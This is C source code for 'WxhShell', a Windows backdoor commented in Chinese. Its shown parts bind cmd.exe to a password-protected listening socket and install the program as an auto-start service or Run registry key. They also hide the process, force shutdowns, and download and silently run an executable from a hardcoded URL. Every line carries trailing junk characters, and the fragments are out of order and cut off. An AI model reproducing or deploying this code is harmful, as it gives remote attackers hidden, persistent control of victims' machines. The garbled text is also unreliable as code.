    if(Boot(SHUTDOWN)) uaZHM@D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5]n\E?V'L  
    else { [v`kqL~  
    closesocket(wsh); W6B"QbHYz  
    ExitThread(0); ?$l|];m)-  
    } tHK>w%|\R  
    break; "F[7b!>R  
    } _<=h#lH  
  // 获取shell lnRL^ }  
  case 's': { -!}3bl*(7  
    CmdShell(wsh); n#@Qd!uzM  
    closesocket(wsh); ;%;||?'v  
    ExitThread(0); F~eY'~&H}  
    break; $lq.*UQ;0  
  } SmIcqM  
  // 退出 4]6-)RHFB  
  case 'x': { +}PN+:yV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Je}0KW3G9L  
    CloseIt(wsh); +wxsAGy_j  
    break; c94=>p6  
    } p}<60O"r$  
  // 离开 ?'_6M4UKa  
  case 'q': { gtePo[ZH.P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B9Hib1<8  
    closesocket(wsh); X0REC%  
    WSACleanup(); e5 }amrz  
    exit(1); {`,)<R>}  
    break; dqs~K7O^E  
        } eze%RjO}  
  } 2=/-,kOL_  
  } zTc*1(^  
Qj*.Z4ue  
  // 提示信息 xF@&wg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I Zw  
} :q?#$?  
  } e .~11bx  
ncMzHw  
  return; &} { #g  
} um}q@BU  
&BRa5`  
// shell模块句柄 |Wjpnz  
int CmdShell(SOCKET sock) cnI5 G!  
{ @bJIN]R  
STARTUPINFO si; ^3 9lUKL  
ZeroMemory(&si,sizeof(si)); : ^("L,AF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M:b#">M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =4l @A>  
PROCESS_INFORMATION ProcessInfo; imeE&  
char cmdline[]="cmd"; 4QTHBT+2`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0^sY>N"  
  return 0; f 9Kt>2IN  
} %S'+x[ 4W  
Fj]06~u  
// 自身启动模式 q=Vh"]0g  
int StartFromService(void) ixSr*+  
{ =*"8N-FU  
typedef struct ]Yw$A  
{ ts9wSx~[+  
  DWORD ExitStatus; a[ayr$Hk?  
  DWORD PebBaseAddress; ^ nI2<P  
  DWORD AffinityMask; GEA1y^b6"  
  DWORD BasePriority; g,rmGu3v  
  ULONG UniqueProcessId; _DH^ K 9,9  
  ULONG InheritedFromUniqueProcessId; gWzslgO6  
}   PROCESS_BASIC_INFORMATION; RB4 +"QUh  
_+'!l'`  
PROCNTQSIP NtQueryInformationProcess; -Ep#q&\  
%,~?;JAj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 28`s+sH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3%5a&b  
 ]%FAJ\  
  HANDLE             hProcess; a4*976~![  
  PROCESS_BASIC_INFORMATION pbi; p6R+t]oH  
mO;QT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I<ohh`.  
  if(NULL == hInst ) return 0; %^L{K[}  
w.a9}GC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,(pp+hNq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3 h d30o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (D) KU9B>  
oJ\g0|\qwe  
  if (!NtQueryInformationProcess) return 0; %l!?d`?  
{ ]_j)R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L*tfY onq  
  if(!hProcess) return 0; w2'q9pB+  
>ItT269G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )N8bO I  
fg3Jv*  
  CloseHandle(hProcess); c|;n)as9(%  
.8u@/f%pV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >Vjn]V5y  
if(hProcess==NULL) return 0; !@F {FR  
f|FS%]fCxk  
HMODULE hMod; t4[q :[1  
char procName[255]; HyVV,q^E  
unsigned long cbNeeded; ws+'*7  
$_E.D>5^%7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k#Sr;"  
&h I!mo  
  CloseHandle(hProcess); IBo  
<D~hhGb  
if(strstr(procName,"services")) return 1; // 以服务启动 T \uIXL?3  
7I XWv-  
  return 0; // 注册表启动 e ,/]]E/o  
} Z K+F<}  
jDpA>{O[  
// 主模块 94BH{9b5  
int StartWxhshell(LPSTR lpCmdLine) ={sjoMW  
{ uR5+")r@S  
  SOCKET wsl; hm! J@  
BOOL val=TRUE; <1l%|   
  int port=0; SL-2^\R  
  struct sockaddr_in door; HS/.H,X  
.Y;f 9R  
  if(wscfg.ws_autoins) Install(); _ZK^J S  
N*}soMPV^.  
port=atoi(lpCmdLine); N68$b#9Ry  
k`8O/J  
if(port<=0) port=wscfg.ws_port; t4_yp_  
?J2A1iuq3  
  WSADATA data; kt2_WW[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =J IceLL  
z7bJV/f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `}l%61n0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tr[}F7n9  
  door.sin_family = AF_INET; X$we\t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #dUKG8-HJ  
  door.sin_port = htons(port); {MUiK 5:  
e"%TU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gHBvQ1g  
closesocket(wsl); 1fS&KO{a  
return 1; >] 'oN  
} {x_.QWe5  
0N$7(.  
  if(listen(wsl,2) == INVALID_SOCKET) { J&>@ >47  
closesocket(wsl); 6+IhI?lI=  
return 1; _w4G|j$C  
} @/.# /  
  Wxhshell(wsl); ["EXSptB  
  WSACleanup(); 7sxX?u  
'Z4}O_5_  
return 0; ]u|v7}I4  
n9+33^ PT  
} s Z[[ymu8  
0vm>*M*p  
// 以NT服务方式启动 hLLSmW (  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :S0!  
{ 5;/n`Bd  
DWORD   status = 0; CW &z?Bra  
  DWORD   specificError = 0xfffffff; #y:D{%Wp  
g8##Be  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 51q|-d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u]IbTJ'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kWXLncE  
  serviceStatus.dwWin32ExitCode     = 0; Kd5'2"DI  
  serviceStatus.dwServiceSpecificExitCode = 0; wc;n= %  
  serviceStatus.dwCheckPoint       = 0; qg oB}n%  
  serviceStatus.dwWaitHint       = 0; z3+@[I$  
.d1ff] ;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9;e!r DW,#  
  if (hServiceStatusHandle==0) return; f$xXR$mjf  
n^4R]9U  
status = GetLastError(); 2CzhaO  
  if (status!=NO_ERROR) ;|5-{+2U%  
{ $9,&BW_*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  LgNIb  
    serviceStatus.dwCheckPoint       = 0; GEWjQ;g  
    serviceStatus.dwWaitHint       = 0; v745F Iy<  
    serviceStatus.dwWin32ExitCode     = status; {|?^@  
    serviceStatus.dwServiceSpecificExitCode = specificError; '[{<a Eo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UucI>E3?P{  
    return; 5g7@Dj,.  
  } e?]5q ez  
W "'6 M=*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $y8-JR~  
  serviceStatus.dwCheckPoint       = 0; oFWb.t9<  
  serviceStatus.dwWaitHint       = 0; .T'@P7Hdx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 53])@Mmus  
} 7=CkZ&(?  
pmNy=ZXx  
// 处理NT服务事件,比如:启动、停止 0kkDlWkzo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AoS7B:T;!  
{ ~5N}P>4 *  
switch(fdwControl) P1-eDHYw  
{ bC<W7qf]}  
case SERVICE_CONTROL_STOP: Y$=jAN  
  serviceStatus.dwWin32ExitCode = 0;  ? }M81  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,;`f* #  
  serviceStatus.dwCheckPoint   = 0; Tlw'05\{J  
  serviceStatus.dwWaitHint     = 0; 7Z6=e6/\  
  { ,|]J aZq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nq M7Is  
  } p~$cwbQ!  
  return; O(T5  
case SERVICE_CONTROL_PAUSE: 1r;zA<<%R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *&NP?-E  
  break; w 9dkJo  
case SERVICE_CONTROL_CONTINUE: N[e,){v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4V JUu`[  
  break; 3Z b]@n  
case SERVICE_CONTROL_INTERROGATE: dvB=Zk]m  
  break;  /|0-O''  
}; \R#SoOd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )'djqpM.  
} %k!CjW3  
a`!Jq'  
// 标准应用程序主函数 = s&Rk~2b/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xa~]t<2  
{ +hyOc|5  
mJSfn"b}K  
// 获取操作系统版本 c#n 2 !  
OsIsNt=GetOsVer(); }s~c(sL?;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %fj5 ;}E.  
6cH8Jr _  
  // 从命令行安装 ORExI.<`W  
  if(strpbrk(lpCmdLine,"iI")) Install(); }t H$:Z  
r]3-}:vU  
  // 下载执行文件 VXeO}>2S  
if(wscfg.ws_downexe) { EgjJywNhd2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \ 2\{c1df  
  WinExec(wscfg.ws_filenam,SW_HIDE); >+2&7u  
} -> cL)  
>P/36'  
if(!OsIsNt) { k#].nQG  
// 如果时win9x,隐藏进程并且设置为注册表启动 --5F*a{R|  
HideProc(); [l23b{  
StartWxhshell(lpCmdLine); q(KjhM  
} =XP[3~  
else kBo:)Vej4  
  if(StartFromService()) [X(4( 1i  
  // 以服务方式启动 aFnel8  
  StartServiceCtrlDispatcher(DispatchTable); pXk^EV0  
else 5n@YNaoIb  
  // 普通方式启动 8dczC  
  StartWxhshell(lpCmdLine); 4>KF`?%4  
;*(-8R/  
return 0; 7~7L5PRW  
} QN:v4,$d  
5J5?cs-!  
w#"\*SKK  
^tB 1Nu %  
=========================================== #Bd]M#J17a  
bZnOX*y]  
6D;N.wDZ  
SVCh!/qe\  
MGg(d  
]fyfL|(;  
" )Qbd/zd\U  
XqTguO'  
#include <stdio.h> G/_IY;  
#include <string.h> @oXGa>Ru  
#include <windows.h> D-gH_ff<]9  
#include <winsock2.h> IG^@VQ%  
#include <winsvc.h> 7Uenr9)M  
#include <urlmon.h> hG1:E:}  
86ao{l6lC  
#pragma comment (lib, "Ws2_32.lib")  .U1wVIM  
#pragma comment (lib, "urlmon.lib") P'W} ]mCD  
g)X3:=['  
#define MAX_USER   100 // 最大客户端连接数 /fI}QY1  
#define BUF_SOCK   200 // sock buffer 1dH|/9  
#define KEY_BUFF   255 // 输入 buffer ^? fOccfQ{  
8w0~2-v.?V  
#define REBOOT     0   // 重启 %8'8XDq^8  
#define SHUTDOWN   1   // 关机 VBhUh~:Om  
oTw!#Re)  
#define DEF_PORT   5000 // 监听端口 RZa/la*  
o4Q?K.9c  
#define REG_LEN     16   // 注册表键长度 QYH-"-)  
#define SVC_LEN     80   // NT服务名长度 \nl(tU#j  
@^,q/%;  
// 从dll定义API >ahDc!Jyu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `^M]|7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IskL$Y ^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \]X.f&u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l]*RiK2AC  
R/hf"E1  
// wxhshell配置信息 r4yz{^G  
struct WSCFG { eM7@!CdA9q  
  int ws_port;         // 监听端口 f|d~=\0y  
  char ws_passstr[REG_LEN]; // 口令 W`>|OiuF  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;:;E|{e  
  char ws_regname[REG_LEN]; // 注册表键名 UK=ELvt]  
  char ws_svcname[REG_LEN]; // 服务名 ,.,8-In^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iJs~NLCgVu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o@meogkL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 } d[(kC_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^FVdA1~/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i)i>Ulj*i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y{<e4{ !  
!<[+u  
}; YI0 wr1N  
h]4xS?6O  
// default Wxhshell configuration X~{6$J|]#i  
struct WSCFG wscfg={DEF_PORT, ",#.?vT`  
    "xuhuanlingzhe", 74%vNKzc~  
    1, ~1G^IZ6  
    "Wxhshell", ptCF))Zm'  
    "Wxhshell", \:vF FK4a  
            "WxhShell Service", I68u%fCv  
    "Wrsky Windows CmdShell Service", Y{Z&W9U  
    "Please Input Your Password: ", 8v$q+Wic  
  1, E0Wc8m"  
  "http://www.wrsky.com/wxhshell.exe", T7[@ lMa?  
  "Wxhshell.exe" O NabL.CV  
    }; hx$]fvDevD  
J)|3jbX"I]  
// 消息定义模块 Y>x{ [er  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @*;x1A-]V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wkg4I.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rj4@  
char *msg_ws_ext="\n\rExit."; <8r"QJY/  
char *msg_ws_end="\n\rQuit."; 8P n  
char *msg_ws_boot="\n\rReboot..."; +B ?qx Q  
char *msg_ws_poff="\n\rShutdown..."; g"-j/ c   
char *msg_ws_down="\n\rSave to "; K@.5   
Cfi{%,em  
char *msg_ws_err="\n\rErr!"; Jh"[ug  
char *msg_ws_ok="\n\rOK!"; oo'9ZE/%  
= 0 ~4k#  
char ExeFile[MAX_PATH]; )nN!% |J  
int nUser = 0; GS;GJsAs  
HANDLE handles[MAX_USER]; pc`P;Eui  
int OsIsNt; j<AOC?  
P{Nvt/%  
SERVICE_STATUS       serviceStatus; >y%H2][  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g~U( w  
{yn,u)@r9S  
// 函数声明 , ZsZzZ#  
int Install(void); yF)o_OA[uR  
int Uninstall(void); j\}.GM'8  
int DownloadFile(char *sURL, SOCKET wsh); Y\ [|k-6  
int Boot(int flag); Aztrq  
void HideProc(void); F^dJ{<yX  
int GetOsVer(void); 2BccE  
int Wxhshell(SOCKET wsl); WK%cbFq(  
void TalkWithClient(void *cs); XYcZ;Z9:  
int CmdShell(SOCKET sock); I9?\Jbqg  
int StartFromService(void); +M j 6.X  
int StartWxhshell(LPSTR lpCmdLine); ;lMvxt:  
0R?1|YnB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5`h 6oFxGp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @c~Z0+Ji  
>X~B1D,SV7  
// 数据结构和表定义 *yZ6"  
SERVICE_TABLE_ENTRY DispatchTable[] = Ww<Y]H$xZ<  
{ 4D65VgVDM  
{wscfg.ws_svcname, NTServiceMain}, 1*O|[W  
{NULL, NULL} 0]d;)_`@  
}; [YvS#M3T  
M9"Bx/  
// 自我安装 U9 iI2$  
int Install(void) H,> }t S  
{ d) -(C1f  
  char svExeFile[MAX_PATH]; jcCAXk055  
  HKEY key; .6y+van  
  strcpy(svExeFile,ExeFile); E\iK_'#  
?P9aXwc  
// 如果是win9x系统,修改注册表设为自启动 f) sy-o!  
if(!OsIsNt) { .; MS 78BR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1RAkqw<E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1]xmOx[mb  
  RegCloseKey(key); n_kwtWX(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \8CCa(H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >}SEU-7&\  
  RegCloseKey(key); GcO2oq  
  return 0; `KQx#c>'  
    } {B$CqsvJ  
  } 80nEQT y  
} 7L~ *%j  
else { :WB uU  
'#Wx@  
// 如果是NT以上系统,安装为系统服务 V]zZb-m=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XYU5.  
if (schSCManager!=0) V.B@@ ;  
{ 6uE20O<z]  
  SC_HANDLE schService = CreateService C'#KTp4!1  
  ( 0["93n}r  
  schSCManager, 9#DXA}  
  wscfg.ws_svcname, yZlT#^$\  
  wscfg.ws_svcdisp, Nd0tR3gi7  
  SERVICE_ALL_ACCESS, (cj9xROx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6Zi{gx  
  SERVICE_AUTO_START, juEPUsE  
  SERVICE_ERROR_NORMAL, Q<sqlh!h  
  svExeFile, >LBA0ynh {  
  NULL, e-dkvPr  
  NULL, a_N7X  
  NULL, Us`=^\  
  NULL, x?AG*' h&  
  NULL yY VR]HH  
  ); p]aEC+q  
  if (schService!=0) .fWy\ r0  
  { f:-)S8OJ  
  CloseServiceHandle(schService); sH6;__e  
  CloseServiceHandle(schSCManager); (.-4Jn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -XYvjW,|  
  strcat(svExeFile,wscfg.ws_svcname); O84]J:b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hQ#e;1uD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o\8?CNm1(  
  RegCloseKey(key); 7. F'1oEf  
  return 0; [CQR  
    } SaPE 1^}  
  } SVU>q:ab  
  CloseServiceHandle(schSCManager); joY7Vk!<o  
} k9k39`t  
} 7uR;S:WX  
Y j oe|  
return 1; <Km9Mq  
} 4  OPY  
*'((_ NZ>  
// 自我卸载 '#6e Ub  
int Uninstall(void) ny-:%A  
{ aUw-P{zp%  
  HKEY key;  O3sV)  
(?e%w}  
if(!OsIsNt) { Ph3;;,v '  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 53t_#Yte  
  RegDeleteValue(key,wscfg.ws_regname); Dg&6@c|  
  RegCloseKey(key); x^1udK^re  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MblRdj6  
  RegDeleteValue(key,wscfg.ws_regname); a_Y<daRO  
  RegCloseKey(key); x2!R&q8U>  
  return 0; >oW]3)$4S  
  } U9oUY> 9  
} {/QVs?d  
} <-I69`  
else { G9:XEEN  
=WTSaC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XIwJhsYZ'9  
if (schSCManager!=0) J,}h{-Xy`  
{ m?w_ ]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fJS:46  
  if (schService!=0) =x<N+vjXY  
  { dlYpbw}W&<  
  if(DeleteService(schService)!=0) { AE rPd)yk0  
  CloseServiceHandle(schService); =|oi0  
  CloseServiceHandle(schSCManager); `2Pa{g- .  
  return 0; BqNsW (+  
  } 6ll!7U(9(  
  CloseServiceHandle(schService); !!C/($  
  } 8}|et~7!  
  CloseServiceHandle(schSCManager); f~VlCdf+  
} -8l<5g7  
} zu d_BOq{f  
cx[^D,usf~  
return 1; :[CV_ME.;  
} }$_@yt<{W@  
8?Zhh.  
// 从指定url下载文件 a7g;8t-&   
int DownloadFile(char *sURL, SOCKET wsh) $INB_/R E  
{ 9nR\7!_  
  HRESULT hr; .!3e$mhV  
char seps[]= "/"; ;wwc;wQ'  
char *token; c!IZLaVAr9  
char *file; A-!e$yz>  
char myURL[MAX_PATH]; {s8c@-'  
char myFILE[MAX_PATH]; >pF*unC;  
zj7ta[<tr  
strcpy(myURL,sURL); ~nA k-toJ  
  token=strtok(myURL,seps); x3y+=aj  
  while(token!=NULL) Tz1^"tx9  
  { i(4<MB1a  
    file=token; @j\:K<sk  
  token=strtok(NULL,seps); r `PJb5^\|  
  } wtS*-;W  
,ua1sTgQ  
GetCurrentDirectory(MAX_PATH,myFILE); B0Df7jr%`>  
strcat(myFILE, "\\"); \V-N~_-H  
strcat(myFILE, file); )ce 6~   
  send(wsh,myFILE,strlen(myFILE),0); 0he3[m}Nr  
send(wsh,"...",3,0); D40 vCax^J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3"x_Y  
  if(hr==S_OK) _ $a3lR  
return 0; H$%MIBz>$  
else Cx TAd[az  
return 1; R,3cJ Y_%  
1GYZ1iA  
} _ /1/{  
G'JHimP2j  
// 系统电源模块 {w2] Is2F  
int Boot(int flag) ">[#Ops-;$  
{ *D|a`R!Y  
  HANDLE hToken; WZ'Z"'  
  TOKEN_PRIVILEGES tkp; 1Dr&BXvf]8  
Jxvh;  
  if(OsIsNt) { h ;*x1BVE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YYQvt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F{x+1hct0  
    tkp.PrivilegeCount = 1; =gj?!d`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?oYO !  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IAO5li3  
if(flag==REBOOT) { 5_(\Cd<#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BgXZr,?  
  return 0; 6l\5J6x  
} rg^\gE6_  
else { mG1~rI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C~2!@<y  
  return 0; p]kEH\ sh  
} @_do<'a  
  } }#^C j;  
  else { 9"P+K.%  
if(flag==REBOOT) { M+%Xq0`T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6 - 3?&+  
  return 0; 'C5id7O&  
} w;,34qbf  
else { T?RY~GA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m}l);P^  
  return 0; o898pg  
} 27!F B@k-  
} {4S UG o>  
f\ P0%  
return 1; k{2Gq1S{  
} `jeATxWv  
/"e@rnn  
// win9x进程隐藏模块 s*PKr6X+  
void HideProc(void) %6[,a  
{ "}71z  
=f~<*wQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aBC5?V*e%  
  if ( hKernel != NULL ) CQ2vFg3+o  
  { RZHfT0*jL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s~7a-J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  DXf  
    FreeLibrary(hKernel); "1,*6(;:  
  } @\?HlGWEf  
m.+h@  
return; jG1(Oe;#  
} >J;TtNE:  
z@ `o(gh  
// 获取操作系统版本 ^os_j39N9  
int GetOsVer(void) {dF@Vg_n  
{ ,NGHv?.N  
  OSVERSIONINFO winfo; #z P-, 2!r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <,:{Q75  
  GetVersionEx(&winfo); MnD}i&k[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <{W{ Y\_A>  
  return 1; $z_yx `5  
  else :aOR@])>o  
  return 0; jj`#;Y  
} i "V.$|,  
d}O\:\}y  
// 客户端句柄模块 2WS*c7Ct  
int Wxhshell(SOCKET wsl) &h/r]KrZ  
{ {z>!Fw  
  SOCKET wsh; `dm*vd  
  struct sockaddr_in client; &>AwG4HW#j  
  DWORD myID; My>q%lF=fw  
bpc1> ?  
  while(nUser<MAX_USER) 8oE`>Y  
{ !/,oQoG  
  int nSize=sizeof(client); x{;{fMN1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5$ik|e^:y  
  if(wsh==INVALID_SOCKET) return 1; u4hn9**a1  
Mst%]@TG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }-tJ.3Zw  
if(handles[nUser]==0) >12jUm)  
  closesocket(wsh); WHx #;  
else frcX'M}%  
  nUser++; K3mP6Z#2  
  } ! \s}A7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a &tWMxBr  
IFBt#]l0  
  return 0; (wL$ h5SG  
} u0#KBXRo  
wnC-~&+6  
// 关闭 socket eZ:iW#YF  
void CloseIt(SOCKET wsh) u43Mo\"<&%  
{ Ct'tUF<K5  
closesocket(wsh); T8m]f<  
nUser--; d*|RFU  
ExitThread(0); ,Mw93Kp Va  
} WdOxwsq"  
V<5. 4{[G  
// 客户端请求句柄 C rR/  
void TalkWithClient(void *cs) $*eYiz3Ue  
{ m%.4OXX"&  
80Y% C-Y:  
  SOCKET wsh=(SOCKET)cs; qoZi1,i'  
  char pwd[SVC_LEN]; 5:r AWq  
  char cmd[KEY_BUFF]; /}1|'?P  
char chr[1]; z9 0JZA  
int i,j; P DY :?/  
<6;M\:Y*T  
  while (nUser < MAX_USER) { pmP~1=3  
_Yo)m |RaB  
if(wscfg.ws_passstr) { s=)W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y[e.1\d'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 Y&`ZJ  
  //ZeroMemory(pwd,KEY_BUFF); \SmsS^z(]  
      i=0; WT\wV\Pu  
  while(i<SVC_LEN) { "iEnsP@'Wg  
X_'tgP9  
  // 设置超时 6{;6~?U  
  fd_set FdRead; 2 K_ QZ  
  struct timeval TimeOut; ;#zteqn  
  FD_ZERO(&FdRead); 4Yvz-aSyO  
  FD_SET(wsh,&FdRead); c9c]1XJ  
  TimeOut.tv_sec=8; #jBmWaP.  
  TimeOut.tv_usec=0; ?8$`GyjS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2@bOy~$A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J t.<Z&  
8{0XqE~ix=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SOG(&)b  
  pwd=chr[0]; GI{EP&C  
  if(chr[0]==0xd || chr[0]==0xa) { ^;/~$  
  pwd=0; @"s<0T^H  
  break; b$;oty9Y  
  } UA'bE~i  
  i++; o`,}b1lh  
    } g<;pyvq|:  
0fstEExw  
  // 如果是非法用户,关闭 socket lO\HchG zB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WCd: (8B  
} +E9G"Z65iP  
&M5v EPR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GTB\95j]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }],l m  
 gwIR3u  
while(1) { ,62~u'hR5  
e,#w* |  
  ZeroMemory(cmd,KEY_BUFF); T7i>aM$+  
\ o2oQ3  
      // 自动支持客户端 telnet标准   Q^<amM!  
  j=0; @ *Jbp  
  while(j<KEY_BUFF) { d(}? \|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ag T)J  
  cmd[j]=chr[0]; Mh3.GpS  
  if(chr[0]==0xa || chr[0]==0xd) { [[_>D M  
  cmd[j]=0; zATOFV  
  break; ag8)^p'9  
  } b,:^\HKC  
  j++; :o` <CO  
    } bX[ZVE(L  
;^s|n)F#c  
  // 下载文件 \x$`/  
  if(strstr(cmd,"http://")) { $-^& AKc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #3ZAMV  
  if(DownloadFile(cmd,wsh)) _b>z'4_'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \<9aS Y'U  
  else YL`MLt4MC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|U bh]  
  } 0X99D2c  
  else { FLJ&ZU=s  
~c&sr5E  
    switch(cmd[0]) { |5>A^a  
  O*+HK1q7  
